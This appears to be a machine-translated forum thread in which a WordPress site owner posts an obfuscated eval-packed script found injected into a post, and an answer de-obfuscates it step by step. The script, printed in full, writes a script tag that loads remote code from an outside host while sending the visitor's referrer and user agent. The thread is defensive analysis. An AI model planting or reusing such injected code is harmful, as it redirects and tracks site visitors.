这个脚本是做什么的?我能以某种方式将它归还给它的创造者吗?

What does this script do? Can I somehow source it back to its creator?

<script type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhksd|var|u0026u|referrer|tibht||js|php'.split('|'),0,{}))

对于格式的缺失,我深表歉意

我在我的 WordPress 网站上的 post 中找到了这个脚本。它导致了恶意重定向(至少我假设是这样,因为这是一个持续存在的问题,在我删除它后就消失了,而且我公司没有人添加脚本)。

任何人都可以帮助我理解这个脚本在做什么,以及(我怀疑)我是否可以告诉我是谁制作了 it/put 它。

我正在学校学习 CS,但我对 JS/Regex 的了解还不足以理解这是在做什么:(

谢谢!

@Ben,稍微清理一下代码就可以归结为:

代码段可以安全执行,这里只是字符串操作。我删除了 eval 部分。

//the passed arguments: 
//p: 
const template = '0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";';
//a:
const numericBase = 30;
//c:
let index = 30;
//k: 
const keywords = ["document", "", "javascript", "encodeURI", "src", "", "write", "http", "45", "67", "script", "text", "rel", "nofollow", "type", "97", "language", "jquery", "userAgent", "navigator", "sc", "ript", "fhksd", "var", "u0026u", "referrer", "tibht", "", "js", "php"];
//e is not really relevant, just an intermediate value
//d: passed empty, then filled in the following loop
const dict = {};

//first it fills the dictionary from the list of keywords
while (index--) {
  dict[index.toString(numericBase)] = keywords[index] || index.toString(numericBase);
}

console.log("dictionary: %o", dict);
console.log("template: %o", template);
//then replaces regex-words in the passed template with the entries in the dictionary
const result = template.replace(/\b\w+\b/g, function(match) {
  console.log("replace %o with %o", match, dict[match]);
  return dict[match]
})
console.log("result: %o", result);
.as-console-wrapper {
  top: 0;
  max-height: 100%!important
}

然后它用 eval 执行结果,写一个 <script> 块加载恶意 J​​S 并重定向你。

代码看起来比实际更复杂。就像 if(!''.replace(/^/,String)) 基本上是 if(true)。以及围绕

的废话
k=[somefunction];
c=1;
while(c--){
  if(k[c]){ doSomethingWith(k[c]) }
}

这是一种非常复杂的说法

doSomethingWith(someFunction);